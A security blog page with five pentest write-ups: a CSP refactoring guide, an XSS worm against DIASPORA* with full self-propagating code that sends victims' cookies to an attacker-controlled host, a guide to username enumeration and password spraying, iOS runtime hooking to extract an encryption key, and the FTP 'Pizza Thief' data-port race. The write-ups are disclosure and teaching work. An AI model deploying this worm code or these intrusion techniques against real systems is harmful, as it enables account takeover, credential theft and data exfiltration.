Twitter
Tuesday
May142013

Retrofitting Code for Content Security Policy

Note: This post has been crossposted from the SendSafely blog. You can find the original post at http://blog.sendsafely.com/post/50303516209/retrofitting-code-for-content-security-policy.  

In a previous blog post we shared how SendSafely uses Content Security Policy to minimize the risk of Cross-Site Scripting, commonly referred to as XSS (if you didn’t catch this post, you can check it out here). While it would have been easiest to design our site to use CSP from the beginning, the initial version of our website grew out of an internal research project and was not so fortunate. As a result, we needed to refactor a lot of our UI code to comply with a strict CSP. Specifically, we needed to get rid of the following two patterns that were fairly pervasive in our code:  

  • Inline scripting. A sound CSP does not allow HTML and JavaScript to co-exist in the same document.  Prior to CSP, we had a lot of in-line scripts.
  • Script code served from the same host. CSP best practices dictate that scripts should only run from a dedicated sub-domain that serves static content.   This means that JavaScript not only needs to be in separate files, but also served from a completely different host.  

Given the above requirements, we needed to figure out an efficient way to convert our existing UI code.  As it turned out, our code followed a few simple patterns. Once we came up with a methodical way to convert each pattern, we had a game plan for moving forward with the site-wide conversion.

Common Code Patterns
When we analyzed HTML our code to see how we were using Javascript, we were broadly able to categorize about 90% of our use cases into two buckets:

  • Links or tag events that called no-arg functions:
    <a href=”javascript:doSomething()”>Do something</a>
  • Links or tag events that called functions with one or more arguments:
    <type=”text” name=”email” onkeyup=”doSomethingElse(arg1, arg2)”>

The first case was simple. For elements that previously called a function on a specific event or on a click, we started by giving them a unique element id. Then, in the JavaScript code that loads from our static domain, we have a routine that always fires and looks specifically for each relevant id and programmatically registers the event on that element. So, for example, the first sample we showed you above would get converted to the following HTML (on our dynamic domain) and JavaScript (loaded from the static domain).

HTML:

    <a id=”my-link”>Do something</a>

JavaScript:

    var link = document.getElementById(“my-link”);
    link.addEventListener(“click”, doSomething, false);

If you use JQuery (like we do) it can be done in a slightly more elegant fashion:

    $(“#my-link”).click(function() {
        doSomething();
    });

The second case is not quite as simple, but still relatively straightforward. The main difference between the first and second case is that we need to pass arguments into the JavaScript function. One of the most widely supported (and earliest adopted) parts of the HTML5 spec across all browsers is the data-* element. It’s supported by all major browsers and has been for some time (http://caniuse.com/#feat=dataset).  This allows us to declare data attributes on a given HTML element that can be referenced elsewhere by JavaScript, so they are perfect for holding the values we were previously passing in as function arguments.  We use the same technique as before to register the click event, but also include references to the data-* attributes in the function call.  So, going back to our example, the second sample we showed you would get converted to the following HTML (on our dynamic domain) and JavaScript (loaded from the static domain).

HTML:

    <type=”text” id=”my-email-field” name=”email” data-arg-one=”arg1” data-arg-two=”arg2”>

JavaScript (JQuery):

    $(“#my-email-field”).keyup(function() {doSomethingElse(this.getAttribute(“data-arg-one”), this.getAttribute(“data-arg-two”)); });

Web Workers
Unfortunately not all of our JavaScript was covered by the above two examples. One of the more notable exceptions to this was how to incorporate HTML5 Web Workers into our policy. We use web workers when we encrypt and decrypt files using JavaScript since CPU intensive operations like that would cause the entire browser UI to freeze-up during the process (which can take anywhere from a few seconds to several minutes).  As it currently stands, most browsers require that web workers execute from JavaScript on the same domain that the page is loaded from. So, in the case of our website, pages loaded from www.sendsafely.com cannot run a web worker loaded from static.sendsafely.com. This is less than ideal from a security perspective since it requires an exception to our otherwise tight CSP.  

In order to minimize the places where this exception is allowed, we defined a slightly looser policy for the two URLS that we use for sending (encrypting) and receiving (decrypting) files. Unlike other URLs on our site, these two pages allow scripts originating from the dynamic server to execute. We still don’t allow in-line scripting, so the exposure on these pages is still somewhat minimal since a separate file still needs to be loaded from the same server. For now it seems we will need to live with this approach until a solution for loading web workers from a separate domain is possible.

Third Party Scripts (reCAPTCHA)
Like many sites, SendSafely uses reCAPTCHA to prevent bots and other automated processes from interacting with certain parts of our application. The reCAPTCHA AJAX API requires us to load certain scripts and images from Google servers (specifically from www.google.com/recaptcha/), which forced us to include www.google.com in our CSP (refer to the previous post to see how we’ve done that). In an ideal world, that would be the only change needed, but life is rarely that simple.

Unfortunately, it doesn’t look like the reCAPTCHA AJAX API plays nicely with CSP since it doesn’t run without the inline-scripts and unsafe-eval directives. Out of all the CSP directives to allow, these two create a huge increase in attack surface since they expose a wide variety of XSS attack variants. To better understand why the reCAPTCHA AJAX API requires these directives, let’s take a closer look at the two steps needed to implement the API (taken fromhttps://developers.google.com/recaptcha/docs/display)

Step 1: Load the API JavaScript from Google

    <script type=”text/javascript”
        src=”http://www.google.com/recaptcha/api/js/recaptcha_ajax.js”
    </script>

Step 2:  Display the CAPTCHA using the following code

    Recaptcha.create(“your_public_key”,
        “element_id”,
      {
        theme: “red”,
        callback: Recaptcha.focus_response_field
      });

At their surface, both steps seem easy to run with CSP. The problem, however, lies in the contents ofrecaptcha_ajax.js. Specifically, the following three code patterns are present in this file and unless re-factored require inline-scripts and unsafe-eval permissions:

  • Inline Event Handler Definitions
  • Inline Script within HREF Attributes
  • Use of String-to-Code in Function Calls 

After some research and initial attempts to (unsuccessfully) contact the reCAPTCHA team at Google, we decided to take a stab at re-factoring some of the code to make it CSP friendly. Refactoring third party code is never ideal, but if we could restrict our changes to just presentation-level code and not touch the code that invokes the server API, we minimize the risk of introducing any breaking changes going forward.  

As it turns out, the changes to recaptcha_ajax.js required are very minimal and self-contained in that single JS file. Once updated, all we needed to do was load the  re-factored JS file from our server instead of remotely from the Google servers. Let’s take a close look at what was changed.  

Inline Event Handler Definitions
Many of the reCAPTCHA HTML elements use in-line handler definitions for the onclick event. In order to comply with CSP, the handler definition must be rewritten in terms of addEventListener as shown below (the “a” function is used to dynamically generate an HTML “a” tag with the specified ID). Very easy.

Before:

    a(“recaptcha_whatsthis_btn”).onclick = function () {Recaptcha.showhelp(); return !1};

After:

    document.getElementById(“recaptcha_whatsthis_btn”).addEventListener(‘click’, function () {Recaptcha.showhelp(); return !1});

Inline Script within HREF Attributes
reCAPTCHA uses a custom function to dynamically build certain document elements. The last argument for one of these functions (named c) is assigned to the HREF attribute of the element, which in some cases includes JavaScript. For these cases, the function call was modified to remove the last argument, and instead bind the argument value programmatically to the onclick event (using addEventListener as in the previous example).  

Before:

    c(“recaptcha_reload”, “refresh”, “refresh_btn”, “javascript:Recaptcha.reload();”);

After:

    c(“recaptcha_reload”, “refresh”, “refresh_btn”);
    document.getElementById(“recaptcha_reload_btn”).addEventListener(‘click’, function () {Recaptcha.reload()});

Use of String-to-Code in Function Calls 
Some JavaScript functions, like eval() for example, allow you to specify a function as input or alternatively let you pass string content that will get treated and executed as code (often referred to as string-to-code). Passing a string argument to any of these functions (eval, setinterval, etc) requires the unsafe-eval directive, which is definitely something we do not want to allow. In this case, as shown below, the code is relatively painless to convert since the string value is not dynamic in nature. This was the simplest change of all.  

Before:

    Recaptcha.timer_id = setInterval(‘Recaptcha.reload(“t”);’, a);

After:

    Recaptcha.timer_id = setInterval(function(){ Recaptcha.reload(“t”) }, a);

By changing those three subtle patterns, we were able to safely run the reCaptcha AJAX API without loosening our CSP. We welcome anyone in the same boat to leverage our re-factored JS code to run reCAPTCHA with CSP on your own site. As mentioned, we attempted to contact the reCAPTCHA team at Google during this effort with no success. Hopefully our changes will one day get reflected in the ReCaptcha AJAX API code.

Wednesday
May082013

Writing an XSS Worm

User privacy is an increasingly important part of the Internet, and the social network DIASPORA* prides itself upon the creed that users own the data that they publish on sites. In a modern world, security often takes precedence over belief. There is no reason that a malicious attacker can’t take the data which DIASPORA* stores on their own servers and use it for whatever purposes they desire.

Multiple vulnerabilities (including an XSS exploit) manifest themselves in DIASPORA*, such that it was possible for any user to export a user’s profile data and potentially compromise every DIASPORA* instance (or in DIASPORA* terminology, pod) running on the Internet.

To begin with the methodology for achieving this, first an initial exploit must be found. In the case of DIASPORA*, it is a Persistent Cross Site Scripting (XSS) vulnerability found in the user’s name as it is rendered un-encoded back on the the user’s profile (i.e. /u/user_name). DIASPORA* uses a set of JSON formatted attributes to create a navigation bar with user specific information such as name, id, and email.

<script>
    window.current_user_attributes = {
        “id”: 3,
        “guid”: “5a2d8a950e39165e”,
        “name”: “Kevin Chung”,
        “diaspora_id”: “superduper@localhost:3000”,
        “avatar”: {

Normal Profile Data

In searches and the user’s public profile page, their name is rendered back to other users un-encoded. This is our best medium for spreading our payload not counting sending out mass messages. In searches, the user must show up in the autocompleted form for it to be vulnerable. The full search page is not susceptible to this vulnerability.  

DIASPORA* will do escaping of quotes and slashes, but it does not do any form of encoding for the name field. There is a size limit of 32 characters on each the first name and last name and the two are separated by a space in the script thus giving us 64 characters to work with. Knowing this, it is possible to change our first name to </script><script> and our last name to alert(0)</script> which would achieve the a mostly boring, standard XSS testing payload.  You’ll notice that the first name starts with a </script> which closes out the original start tag and then begins its own script tag.

<script>
//<![CDATA[
Mentions.options.prefillMention = Mentions._contactToMention({
    “id”: 3,
    “guid”: “927643f9c89784b1”,
    “name”: “</script><script> alert(0)</script>”,
    “avatar”: “/assets/user/default.png”,
    “handle”: “jedi_guy@localhost:3000”,
    “url”: “/people/927643f9c89784b1”
});
//]]>
</script>

Profile with XSS


Instead of just alerts, we can give ourselves a much larger space to work with by using </script><script src= as our first name and //goo.gl/AAAAA</script> as our last name. The goo.gl URL should point to a JavaScript file of our choosing.  Now that we are not limited by size, we can go ahead and begin propagating ourselves throughout the DIAPOSRA* pod. Fortunately, DIASPORA* leverages jQuery, so writing JavaScript will be much less verbose than it normally tends to be.

If we wish to be extremely destructive, we can simply do an AJAX GET and POST to have any user which gets hit with our payload become a propagator of the payload as well. We require the GET initially as DIASPORA* includes a nonce on the profile page in order to prevent Cross Site Request Forgery (CSRF) attacks and therefore our subsequent POST requires a valid nonce in order to be valid.

$(‘html’).hide();

if(window.location.pathname == ‘/profile/edit’){
    window.location=”/404”;
}

else if(window.location.pathname.substr(1,2) == ‘u/’ || window.location.pathname.substr(1,6) == ‘people’){
    var first = $(‘.find’).prev().html();
    var second = $(‘.find’).next().html();
    eval(first +”You’re Owned”+ second);
}

else{
    var intervalID = setInterval(function(){
            var first = $(‘.find’).prev().html();
            var second = $(‘.find’).next().html();
            eval(first +”You’re Owned”+ second);
        },5);
}

$(document).ready(function(){
    window.clearInterval(intervalID);
    $(‘.message’).hide();
    $(‘html’).show();
    $(document.createElement(‘img’)).attr({‘src’ : ‘http://localhost/diaspora.php?cookie=’+document.cookie});
});


deploy(‘//goo.gl/AT64G’);

function deploy(payload){
    $.get(‘/profile/edit’, function(data) {
        var first_name = $(‘#profile_first_name’,data).val();
        var last_name = $(‘#profile_last_name’,data).val();
        if (first_name == ‘</script><script class=”find” src=’)
            return;

          var utf = $(‘input[name=”utf8”]’, data).text();
          var authenticity_token = $(data).filter(‘meta[name=”csrf-token”]’).attr(“content”);
          var bio = $(‘#profile_bio’,data).html();
          var loc = $(‘#profile_location’,data).val();
          var gen = $(‘#profile_gender’,data).val();
          var year = $(‘#profile_date_year’, data).find(“:selected”).text();

          if (year == ‘Year’)
              year = ”;

          var month = $(‘#profile_date_month’, data).find(“:selected”).text();
          if (month == ‘Month’)
              month = ”;

          var day = $(‘#profile_date_day’, data).find(“:selected”).text();
          if (day == ‘Day’)
              day = ”;

          var tags = data.search(‘var data’) + 25;
          var tags_end = data.search(‘autocompleteInput’) - 15;
          tags_end = jQuery.parseJSON(data.slice(tags, tags_end));
          tags = ‘,’;
          for( key in tags_end){
              tags += tags_end[key].value + ‘,’;
          }
          $.post(“/profile”,
              {
                  ‘utf8’: “&#x2713;”,
                  ‘_method’: ‘put’,
                  ‘authenticity_token’: authenticity_token,
                  ‘profile[first_name]’: “</script><script class=”find” src=”,
                  ‘profile[last_name]’: payload+”></script><script>”,
                  ‘profile[tag_string]’: ”,
                  ‘tags’: tags,
                  ‘file’: ”,
                  ‘profile[bio]’: bio,
                  ‘profile[location]’: loc,
                  ‘profile[gender]’: gen,
                  ‘profile[date][year]’: year,
                  ‘profile[date][month]’: month,
                  ‘profile[date][day]’: day,
                  ‘profile[searchable]’: ‘true’,
                  ‘commit’: ‘Update Profile’
              }
          );
    });
}

Exploit Code

Next it is important to determine what can be used to spread our payload. The most obvious is our profile which has our malicious name. We can also adapt our script to scrape contacts and send them messages asking them to visit our profile, replicating how many XSS worms have propagated in the past. DIASPORA* makes an additional oversight in that the search autocomplete functionality will render names un-encoded to the user. Thus users who are not directly connected to infected users can additionally be infected by searching and finding an infected user.

Now that we’ve begun spreading ourselves through DIASPORA* we could capitalize upon what we have accessible. DIASPORA* allows users to download their photos and an XML file containing their data (posts, contacts, messages, profile information, and a GPG key pair). We can have JavaScript send the user’s cookies to a server as DIASPORA* makes no use of the HTTPOnly flag for their session cookie.  If HTTPOnly was enabled it wouldn’t really matter, as we could have the XSS payload pull the XML and POST it to our server instead of having the server get it.

In summary, we were able to utilize a variety of vulnerabilities in DIASPORA* to augment the main XSS payload and potentially acquire significant amounts of user data. This reinforces the message for web developers: no user input should ever be trusted. Unencoded user input is of course the root cause of this issue. Input validation, and input or output encoding should always be used in any scenario where user input is taken. 

Additionally, HTTPOnly should be on all cookies not required to be accessed by JavaScript. This is not a cure all, as it is still possible to submit queries through XSS riding on the valid session stored in the cookie without stealing it.  
While typical nonce based CSRF is in place, XSS is able to bypass it easily. A CSRF referrer check should be put in place for the profile page as an attacker would not be in a valid position to spoof the referrer for another user but themselves. To clarify, profile edits should be validated to only come from /profile/edit and not from any other location on DIASPORA*. While XSS can typically be used to bypass CSRF referrer checks, in this scenario the attacker would not have control over the normal edit profile page as it would be on an uninfected user. This would have successfully prevented a spread of this XSS worm.

This issue was reported to the developer at 2013-02-01 06:53:36 and the patch was committed at 2013-02-01 13:20:31.

Tuesday
Mar262013

Network Testing 101: If Your Name's Not Down, You're Not Getting In

Looking at the basics of network testing, user enumeration is critical. If we can get usernames, access is only a hop skip and a jump away. Well, perhaps only a decent dictionary brute-force away.

The thing is how do we get these usernames? A few basic network pentesting tricks are listed here. Also, as a lot of user names are predictable combinations (such as a combination of first and last names, and initials) it can be fun to find amusing user names on a network.

Simple User Name Enumeration

Time to start with some of the simple stuff, SNMP (Simple Network Management Protocol). Some interesting MIBs (Management Information Base) that result in user enumeration are:

Solaris

  • PROCESS USERNAMES 1.3.6.1.4.1.42.3.12.1.1.8 *

*nix in general

  • MOUNTPOINTS 1.3.6.1.2.1.25.2.3.1.3
  • RUNNING SOFTWARE PATHS 1.3.6.1.2.1.25.4.2.1.4

Windows

  • Windows    INSTALLED SOFTWARE    1.3.6.1.2.1.25.6.3.1.2
  • Windows    USERS     1.3.6.1.4.1.77.1.2.25
  • Windows    SHARES     1.3.6.1.4.1.77.1.2.27

The MIBs listed above give away usernames. Some are obvious. The ones that are less obvious are RUNNING SOFTWARE PATHS and (in Windows) INSTALLED SOFTWARE these may disclose information in the path names as shown below:

.1.3.6.1.2.1.25.4.2.1.4.739 = STRING: “/usr/bin/login”
.1.3.6.1.2.1.25.4.2.1.4.740 = STRING: “/bin/bash”
.1.3.6.1.2.1.25.4.2.1.4.749 = STRING: “/home/auser/tail”

As we can see, the user name auser is disclosed if the full path of the running binary is used. Remember this works only if the user has used the full path to run the process.

The snmpwalk tool is a good place to start for enumerating SNMP data out of a host. There is also the small matter of the community string you’ll also need, however in many cases you can go with the defaults and get information back. Changing these from the default is often overlooked when SNMP is enabled on servers.

Print My User Name

Web and telnet interfaces on printers are often unauthenticated, unencrypted or use default or weak passwords. It is often possible to connect to these repositories of information leakage and grab document names, share locations, and most importantly user names.

As a lot of printers have no lockout controls, even if admin account passwords have been changed you can often brute force passwords on these safely. If we can gain admin access to the printer, there may be other interesting options available as well. In one case, we came across an option to fax a copy of every document printed to a number of our choice. 

Old Problems Never Die

Username enumeration on a Windows domain can be easy or a pain. On a box that accepts null connections we win. We can get the users and also the password policy, shares etc, and tools like enum and enum4linux still have a valuable place in the tool kit. But in a modern Windows AD domain don’t forget the use of LDAP. If it is possible to use null binds via LDAP, tools like ldapenum.pl, ldp.exe and nmap (—script ldap-search) are a good starting point to give you that user list. However, if you don’t have null shares or anonymous bind then you may need to make authenticated connections to the domain to get the same data. This means that one bad password on the network is a foothold to accessing the rest of the domain.

Research, Research, Research

In a lot of Exchange environments the user’s email address will contain their username. Robert Smith, for example, is [email protected] - it’s likely that “rsmith” is his login. But do remember that with common names this may not be the case.  A lot of this kind of data can be gathered from company web pages or Intranet sites…. or even bouncing a couple of emails into the organisation can work for this. If the company has an internal anonymously accessible wiki this can be a nice resource as well.

Listen, Did You Smell That?

Sniffing network traffic can also help out with delivering those user names. You may even get those passwords you’re looking for - never discount the amount of clear text protocols that are still in use. Also many companies will use TLS/SSL on their public web sites, but not encrypt internally.

I Never Metadata I Didn’t Like

In Office documents the metadata will contain, amongst other things, the name of the user who created that document. If we know the schema, this can give you the username. Also if the company writes Silverlight or .NET applications, then decompilation can give you pathnames, again with valid usernames.

Now Pay Attention 007

There is a reason to wear headphones with no music playing. If you are sitting onsite amongst IT Staff or developers you may hear the phrase: “What user should I log on as?” around you. If you are lucky they may even shout out passwords. Also there is the old tried and true method of just asking. Some call it social engineering but that’s a topic for another post. 

Sharing Your Toys

So you find a file share. Now there are lots of awesome things you can do: SMB relay attacks, trojan documents, DLL injection (if some one is dumb enough to share the wrong thing). But one of the other things you can do when a domain user visits the share is have a file there that points back to us. This could be an image in the document, a second embedded document in our Excel sheet (that we host), or a malicious shortcut file with an icon on our machine. When they access this, a bit of metasploit SMB sniffing and we can get the username as well as NTHASH and (if they are using it) the LMHASH. 

Guess Who - Are You “bin”?

On smtp, ftp, and ssh there have been ways to brute force out usernames. This is ok, but is really dependant on the list of usernames you start with. In the spirit of recycling, never throw anything away - every time you gather a name, put it in a file. Next time you have a chance to brute-force out names on an SMTP server via RCPT EXPN and VRFY you will have a good starting point.

Go Wide!

So you’ve got your big list of users? Now we take a big dictionary and hit go! - lock out the accounts and get asked to leave OR perhaps there is a better way? Time to chose a common password and wide-band it across all the accounts. A usual rule is to assume they lock the accounts after 3 failed attempts. So we could choose 2 candidate passwords and try those. If you haven’t found anything at all about the password policy before this stage, now would be a good time to do it. When we know what we can risk, we can make the call and do some brute forcing.  For me, Medusa is my brute forcer of choice. A nice feature is that Medusa that will let you look for “Joe Logins” as well as blank passwords. The nice thing about this one is the tool is modular and supports a large list of protocols. So now from a big list of users we send out 2 passwords per user per hour/day/week. Eventually we get a hit. Next we can use this authenticated access to get more user names and start the brute force loop again. Voila!

Tuesday
Mar052013

Retrieving Crypto Keys via iOS Runtime Hooking 

I am going to walk you through a testing technique that can be used at runtime to uncover security flaws in an iOS application when source code is not available, and without having to dive too deeply into assembly. I am going to use a recent example of an iOS application I reviewed, which performed its own encryption when storing data onto the device. These types of applications are a lot of fun to look at due to the variety of insecure ways people implement their own crypto. In this example the application required authentication, and then pulled down some data and stored it encrypted on the device for caching. The data was presented to the user where they could “act” upon it. Sounds pretty generic, but hopefully the scenario is familiar enough to those who assess mobile apps.

Upon analyzing the application traffic, it was obvious that no crypto keys were being returned from the server. After sweeping the iOS Keychain and the entire Application container, I could make the educated assumption that the key is either a hardcoded value or derived using device specific information.

Using the Hopper Disassembler (Available on the Mac App Store), I was able to see that the application was leveraging the Common Crypto library for its encryption. I checked the cross-references for calls to the CCCryptorCreate function in order find the code areas which perform encryption. The following screenshot shows getSymmetricKeyBytes being called right before the CCCryptorCreate function. I felt pretty confident that the purpose of the getSymmetricKeyBytes method was going to be to return the symmetric key used for encryption. 

I decided to create a Mobile Substrate tweak in order to hook into getSymmetricKeyBytes and read the return value. I used the class-dump-z tool to get a listing of all the exposed Objective-C interfaces. From here it is easy to get more detailed information about the method, such as the class name, return type and any required parameters. The following is a short snippet retrieved from the class-dump-z results.

@interface SecKeyWrapper : XXUnknownSuperclass {

                  NSData* publicTag;

                  NSData* privateTag;

                  NSData* symmetricTag;

                  unsigned typeOfSymmetricOpts;

                  SecKey* publicKeyRef;

                  SecKey* privateKeyRef;

                  NSData* symmetricKeyRef;

}

[..snip..]

-(id)getSymmetricKeyBytes;

-(id)doCipher:(id)cipher key:(id)key context:(unsigned)context padding:(unsigned*)padding;

 [..snip..]

We can quickly create a tweak by using the Theos framework. The tweak in this case looked as follows: 

%hook SecKeyWrapper

- (id)getSymmetricKeyBytes {

    NSLog(@”HOOKED getSymmetricKey”);

    id theKey = %orig;

    NSLog(@”KEY: %@”, theKey);

    return theKey;

}

%end

 

%ctor {

    NSLog(@”SecKeyWrapper is created.”);

    %init;

}

It doesn’t do much more then read the return value of the original method call and write it out to the console. It was possible to confirm that a static key was being used by running the tweak on another iPad, and observing that the same symmetric key was returned. The next step was to decrypt the files. We could hook into the doCipher:key:context:padding method and just print out the first parameter to get the plaintext data. That would work, but that wouldn’t be reproducible since the Tweak code would only execute when the doCipher:key:context:padding method is actually run by the application. A quick Google search on the SecWrapper class turned up the following sample code from Apple.

http://developer.apple.com/library/ios/#samplecode/CryptoExercise/Listings/Classes_SecKeyWrapper_m.html

By leveraging the wrapper it was possible to create an offline script to decrypt the application contents.

While looking at sample code I noticed two things. The app developer chose to change Apple’s implementation of the getSymmetricKeyBytes method and return a static key. The other interesting discovery was bad practices in Apple’s sample code for the doCipher:key:context:padding method.  The following code snippet shows that it will use a static IV of 16 bytes of 0x0’s.

 // Initialization vector; dummy in this case 0’s.

uint8_t iv[kChosenCipherBlockSize];

memset((void *) iv, 0x0, (size_t) sizeof(iv));

An alternative method to achieve the same result would be to use cycript, which provides a Javascript interpreter to hook run arbitrary objective-c code and also hook into iOS applications at runtime without having to go through the whole Mobile Substrate Tweak creation. The following example shows how cycript could be used to retrieve the symmetric crypto key. 

rgutie01s-iPad:~ root# cycript -p 290
cy# var sharedwrapper = [SecKeyWrapper sharedWrapper];
@”<SecKeyWrapper: 0x183080>”
cy# [sharedwrapper getSymmetricKeyBytes]
@”<[Symmetric Key Value Omitted>”

To recap:

  1. Runtime analysis can be leveraged to easily break custom encryption when source code is not available and without having to dive into assembly.
  2. Developers need to beware of using sample code downloaded from the web, especially crypto code as it’s really hard to get right (as shown by the sample from Apple). 
Tuesday
Feb262013

Exploiting the Pizza Thief

A while back we came across an exploitation scenario with an FTP server that we were assessing that we thought was interesting enough to share - largely because its an issue that has been known about since 1999, but doesn’t seem to be widely exploited - at least publicly.

First its important to understand how FTP works when in passive mode, which is the most common configuration we come across in deployment nowadays. FTP uses two separate TCP connections to the FTP server - a command channel and a data channel. FTP commands are sent over the command channel, which is usually on port 21. The data channel is the connection that is used for a transfers of data, including directory listings or file downloads and uploads, and in passive mode this is another connection from the client to the FTP server on a port opened by the FTP server in order to send or receive the data.

For example, this is how a sample passive FTP session might go, including the commands that will be issued to the FTP server in the background. Note the response to the PASV command, which supplies the IP address and port (in high/low byte order) for the client to connect to:

220 foo.bar.com FTP server ready.

Name: user

---> USER user

331 Password required for user.

Password: password

---> PASS password

230 User user logged in.

---> SYST

215 UNIX Type: L8

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> passive

Passive mode on.

ftp> ls

---> PASV

227 Entering Passive Mode (192,168,1,1,195,149).

---> LIST

150 Opening ASCII mode data connection for file list

drwx------ 3 user users 104 Jul 27 01:45 my_files

226 Transfer complete.

ftp> quit

---> QUIT

221 Goodbye.


Visually this will look something like the following:


Interestingly, looking at the RFC for FTP (RFC959) shows that the two connections do not both have to come from the same client, which allows FTP to support some less common usage scenarios such as server to server transfers using a common client. For our purposes it raises the possibility that if we can hit the data port that is allocated on the FTP server at the right time, we will get the file transfer or directory listing that another client has requested, like follows:



This race condition issue, as it turns out, has been known since 1999 as the “Pizza Thief” exploit (CVE-1999-0351), and turns out to be fairly easy to exploit in actual usage scenarios that we’ve come across.

In practice, guessing the port comes down to a combination of two factors - how much load the FTP server is under, and how randomly it allocates the data ports for downloads. If the port allocation is sequential (which is not uncommon) this is fairly trivial, however as enterprise FTP deployments commonly have a small fixed range of ports allowed through a firewall for passive FTP, this can also be practical to exploit in cases where the data port allocation is randomised (even aside from any weaknesses in just how random the allocation actually is). If the server allows anonymous FTP, or you can obtain an account through other means, this just makes the job of predicting the data ports easier for you.

We ended up exploiting this scenario by writing a quick Python script to brute-force connect to the range of ports the server we were looking at was using, and grabbed a number of documents the organisation was sharing with an international business partner. Turns out FTP isn’t so secure after all? ;)